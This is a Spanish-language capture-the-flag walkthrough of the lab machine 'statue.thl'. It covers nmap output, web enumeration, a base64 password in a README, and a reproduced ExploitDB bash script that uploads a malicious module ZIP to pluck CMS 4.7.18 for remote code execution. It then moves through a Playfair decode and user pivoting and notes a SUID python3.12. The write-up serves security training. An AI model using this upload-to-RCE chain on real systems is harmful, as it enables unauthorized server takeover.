Empezamos como siempre por lo primero buscar que puertos estan abiertos en el host.
¡Nuevo! Combinaciones de teclas … Las combinaciones de teclas de Drive se han actualizado para que puedas navegar escribiendo las primeras letras
# Nmap 7.94SVN scan initiated Sat Aug 31 08:44:10 2024 as: nmap -sCV -p80 -oN target.txt 172.16.241.190Nmap scan report for statue.thl (172.16.241.190)Host isup (0.00054s latency).PORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.58|_http-server-header: Apache/2.4.58 (Ubuntu)| http-cookie-flags:|/:| PHPSESSID:|_ httponly flag notset|_http-generator: pluck 4.7.18| http-title: rodgar - rodgar|_Requested resource was http://statue.thl/?file=rodgar| http-robots.txt:2 disallowed entries |_/data//docs/Service Info: Host:127.0.1.1Service detection performed. Please report any incorrect results at https://nmap.org/submit/.# Nmap done at Sat Aug 31 08:44:17 2024 -- 1 IP address (1 host up) scanned in 6.71 seconds
Observamos la version y servicio del puerto 80, donde observamos que tenemos un dominio, lo añadiremos al /etc/hosts.
Si vamos al servicio web observamos algo simple, y en la parte de abajo tenemos un enlace al administrador.
Nos redirige a un CMS llamado pluck.
Si fuzzeamos la web tenemos varios directorios los cuales observar y ver que podemos sacar de ellos.
Usualmente uso gobuster para enumerar extenciones ya que con wfuzz es un dolor de huevo y bueno a nivel de archivos tenemos algunos mas ademas de los que ya enumeramos con wfuzz.
Si le lanzamos un curl al README.md que normalmente trae info del CMS o lo que corresponda, pues este trae una cadena en base64. Si lo decodificamos obtenemos una palabra.
La usamos como contraseña y estamos dentro del CMS, observamos la version y vamos a buscar exploit o vulnerabilidades haber si existen.
En exploitDB encontramos algo para esta version.
#!/bin/bash# URLs del sitio weblogin_url="http://localhost/pluck/login.php"upload_url="http://localhost/pluck/admin.php?action=installmodule"rce_url="http://localhost/pluck/data/modules/mirabbas/miri.php"# Datos necesarios para el inicio de sesiónlogin_payload="cont1=admin&bogus=&submit=Log+in"# Solicitar al usuario la ruta del archivo ZIP que se va a cargarecho "ZIP file path: "read file_path# **Bloque 1: Iniciar sesión**echo "Iniciando sesión..."# Enviamos una solicitud POST al URL de inicio de sesión con los datos especificadoslogin_response=$(curl -s -w "%{http_code}"-o /dev/null -X POST "$login_url"-d "$login_payload")# Verificamos el código de respuesta HTTPif [ "$login_response"-eq 200 ]; then echo "Inicio de sesión exitoso."# **Bloque 2: Subir el archivo ZIP** echo "Subiendo archivo ZIP..."# Enviamos el archivo ZIP al URL de carga usando una solicitud POST upload_response=$(curl -s -w "%{http_code}" -o /dev/null -X POST "$upload_url" -F "sendfile=@$file_path;type=application/zip" -F "submit=Upload" -H "Referer: $login_url")
# Verificamos el código de respuesta HTTPif [ "$upload_response"-eq 200 ]; then echo "Archivo ZIP cargado con éxito."# **Bloque 3: Ejecutar el código remoto** echo "Ejecutando código remoto..."# Hacemos una solicitud GET al URL de ejecución del código remoto rce_response=$(curl -s "$rce_url") echo "$rce_response"else echo "Error al cargar el archivo ZIP. Código de respuesta: $upload_response" fielse echo "Error de inicio de sesión. Código de respuesta: $login_response"fi
Resumen sube un archivo ZIP al directorio data.
Vamos a hacerlo manual.
Lo subimos a la web.
Buscamos el archivo que se subio segun el script en /data/modulos.nombre, Observamos que tenemos RCE.
Ya dentro de la maquina encontramos un directorio llamado Charles con un archivo llamado pista, tenemos una pass y un key.
Si la Key la decodificamos a texto plano tenemos una palabra.
Si vamos a google y buscamos el nombre del señor Charles, encotramos que a el se le atribuye la tecnica de cifrado Playfair.
Vamos a google y buscamos Playfair online.
Uno pegamos la Pass del archivo pista que sera la password cifrada.
Dos pegamos la palabra que estaba codificada en base64.
Tres le damos Decifrar.
Y listo tenemos una palbra incomprensible.
Si hacemos un cat del passwd, existe un user charles.
Migramos al usuario charles.
Pivotamos del usuario charles ah juan.
Si buscamos permisos SUID y SGID para sus archivos, entontramos que python3.12 tiene permisos SUID.